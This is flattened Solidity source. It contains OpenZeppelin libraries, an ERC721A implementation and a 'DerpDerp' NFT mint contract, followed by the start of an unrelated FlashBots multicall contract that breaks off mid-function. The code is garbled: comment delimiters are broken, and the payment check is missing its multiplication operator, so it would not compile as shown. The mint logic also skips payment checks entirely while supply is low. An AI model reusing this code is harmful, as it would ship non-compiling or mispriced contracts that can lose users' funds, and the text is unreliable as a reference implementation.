{ return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _transferOwnership(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. / function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/interfaces/IERC165.sol // OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol) pragma solidity ^0.8.0; // File: @openzeppelin/contracts/interfaces/IERC2981.sol // OpenZeppelin Contracts v4.4.1 (interfaces/IERC2981.sol) pragma solidity ^0.8.0; /* * @dev Interface for the NFT Royalty Standard / interface IERC2981 is IERC165 { /* * @dev Called with the sale price to determine how much royalty is owed and to whom. * @param tokenId - the NFT asset queried for royalty information * @param salePrice - the sale price of the NFT asset specified by `tokenId` * @return receiver - address of who should be sent the royalty payment * @return royaltyAmount - the royalty payment amount for `salePrice` / function royaltyInfo(uint256 tokenId, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Enumerable is IERC721 { /* * @dev Returns the total amount of tokens stored by the contract. / function totalSupply() external view returns (uint256); /* * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. / function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /* * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. / function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Metadata is IERC721 { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } // File: contracts/ERC721A.sol pragma solidity ^0.8.0; /* * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Assumes the number of issuable tokens (collection size) is capped and fits in a uint128. * * Does not support burning tokens to address(0). / contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 internal immutable collectionSize; uint256 internal immutable maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /* * @dev * `maxBatchSize` refers to how much a minter can mint at a time. * `collectionSize_` refers to how many tokens are in the collection. / constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_, uint256 collectionSize_ ) { require( collectionSize_ > 0, "ERC721A: collection must have a nonzero supply" ); require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; collectionSize = collectionSize_; } /* * @dev See {IERC721Enumerable-totalSupply}. / function totalSupply() public view override returns (uint256) { return currentIndex; } /* * @dev See {IERC721Enumerable-tokenByIndex}. / function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /* * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. / function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId \|\| interfaceId == type(IERC721Metadata).interfaceId \|\| interfaceId == type(IERC721Enumerable).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721-balanceOf}. / function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /* * @dev See {IERC721-ownerOf}. / function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /* * @dev See {IERC721Metadata-name}. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev See {IERC721Metadata-symbol}. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /* * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. / function _baseURI() internal view virtual returns (string memory) { return ""; } /* * @dev See {IERC721-approve}. / function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /* * @dev See {IERC721-getApproved}. / function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /* * @dev See {IERC721-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /* * @dev See {IERC721-isApprovedForAll}. / function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev See {IERC721-transferFrom}. / function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /* * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), / function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /* * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - there must be `quantity` tokens remaining unminted in the total collection. * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. / function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /* * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. / function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr \|\| getApproved(tokenId) == _msgSender() \|\| isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /* * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. / function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /* * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). / function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > collectionSize - 1) { endIndex = collectionSize - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /* * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /* * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. / function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /* * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. / function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } //SPDX-License-Identifier: MIT //Contract based on [https://docs.openzeppelin.com/contracts/3.x/erc721](https://docs.openzeppelin.com/contracts/3.x/erc721) pragma solidity ^0.8.0; contract DerpDerp is ERC721A, IERC2981, Ownable, ReentrancyGuard { using Counters for Counters.Counter; using Strings for uint256; Counters.Counter private tokenCounter; string private baseURI = "ipfs://QmR2ojtyQZyg2NECKPvhPWGk7mQCkQ59ghQ6Yu9B6enuYG/"; address private openSeaProxyRegistryAddress = 0xa5409ec958C83C3f309868babACA7c86DCB077c1; bool private isOpenSeaProxyActive = true; uint256 public constant MAX_MINTS_PER_TX = 10; uint256 public maxSupply = 1000; uint256 public constant PUBLIC_SALE_PRICE = 0.01 ether; uint256 public NUM_FREE_MINTS = 1; bool public isPublicSaleActive = true; // ============ ACCESS CONTROL/SANITY MODIFIERS ============ modifier publicSaleActive() { require(isPublicSaleActive, "Public sale is not open"); _; } modifier maxMintsPerTX(uint256 numberOfTokens) { require( numberOfTokens <= MAX_MINTS_PER_TX, "Max mints per transaction exceeded" ); _; } modifier canMintNFTs(uint256 numberOfTokens) { require( totalSupply() + numberOfTokens <= maxSupply, "Not enough mints remaining to mint" ); _; } modifier freeMintsAvailable() { require( totalSupply() <= NUM_FREE_MINTS, "Not enough free mints remain" ); _; } modifier isCorrectPayment(uint256 price, uint256 numberOfTokens) { if(totalSupply()>NUM_FREE_MINTS){ require( (price numberOfTokens) == msg.value, "Incorrect ETH value sent" ); } _; } constructor( ) ERC721A("DerpDerp", "DerpDerp", 100, maxSupply) { } // ============ PUBLIC FUNCTIONS FOR MINTING ============ function mint(uint256 numberOfTokens) external payable nonReentrant isCorrectPayment(PUBLIC_SALE_PRICE, numberOfTokens) publicSaleActive canMintNFTs(numberOfTokens) maxMintsPerTX(numberOfTokens) { _safeMint(msg.sender, numberOfTokens); } //A simple free mint function to avoid confusion //The normal mint function with a cost of 0 would work too // ============ PUBLIC READ-ONLY FUNCTIONS ============ function getBaseURI() external view returns (string memory) { return baseURI; } // ============ OWNER-ONLY ADMIN FUNCTIONS ============ function setBaseURI(string memory _baseURI) external onlyOwner { baseURI = _baseURI; } // function to disable gasless listings for security in case // opensea ever shuts down or is compromised function setIsOpenSeaProxyActive(bool _isOpenSeaProxyActive) external onlyOwner { isOpenSeaProxyActive = _isOpenSeaProxyActive; } function setIsPublicSaleActive(bool _isPublicSaleActive) external onlyOwner { isPublicSaleActive = _isPublicSaleActive; } function setNumFreeMints(uint256 _numfreemints) external onlyOwner { NUM_FREE_MINTS = _numfreemints; } function withdraw() public onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } function withdrawTokens(IERC20 token) public onlyOwner { uint256 balance = token.balanceOf(address(this)); token.transfer(msg.sender, balance); } // ============ SUPPORTING FUNCTIONS ============ function nextTokenId() private returns (uint256) { tokenCounter.increment(); return tokenCounter.current(); } // ============ FUNCTION OVERRIDES ============ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, IERC165) returns (bool) { return interfaceId == type(IERC2981).interfaceId \|\| super.supportsInterface(interfaceId); } /** * @dev Override isApprovedForAll to allowlist user's OpenSea proxy accounts to enable gas-less listings. / function isApprovedForAll(address owner, address operator) public view override returns (bool) { // Get a reference to OpenSea's proxy registry contract by instantiating // the contract using the already existing address. ProxyRegistry proxyRegistry = ProxyRegistry( openSeaProxyRegistryAddress ); if ( isOpenSeaProxyActive && address(proxyRegistry.proxies(owner)) == operator ) { return true; } return super.isApprovedForAll(owner, operator); } /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "Nonexistent token"); return string(abi.encodePacked(baseURI, "/", (tokenId+1).toString(), ".json")); } /* * @dev See {IERC165-royaltyInfo}. */ function royaltyInfo(uint256 tokenId, uint256 salePrice) external view override returns (address receiver, uint256 royaltyAmount) { require(_exists(tokenId), "Nonexistent token"); return (address(this), SafeMath.div(SafeMath.mul(salePrice, 5), 100)); } } // These contract definitions are used to create a reference to the OpenSea // ProxyRegistry contract by using the registry's address (see isApprovedForAll). contract OwnableDelegateProxy { } contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; 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/** Submitted for verification at Etherscan.io on 2021-06-27 / //SPDX-License-Identifier: UNLICENSED pragma solidity 0.6.12; pragma experimental ABIEncoderV2; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } interface IWETH is IERC20 { function deposit() external payable; function withdraw(uint) external; } // This contract simply calls multiple targets sequentially, ensuring WETH balance before and after contract FlashBotsMultiCall { address private immutable owner; address private immutable executor; IWETH private constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); modifier onlyExecutor() { require(msg.sender == executor); _; } modifier onlyOwner() { require(msg.sender == owner); _; } constructor(address _executor) public payable { owner = msg.sender; executor = _executor; if (msg.value > 0) { WETH.deposit{value: msg.value}(); } } receive() external payable { } function uniswapWeth(uint256 _wethAmountToFirstMarket, uint256 _ethAmountToCoinbase, address[] memory _targets, bytes[] memory _payloads) external onlyExecutor payable { require (_targets.length == _payloads.length); 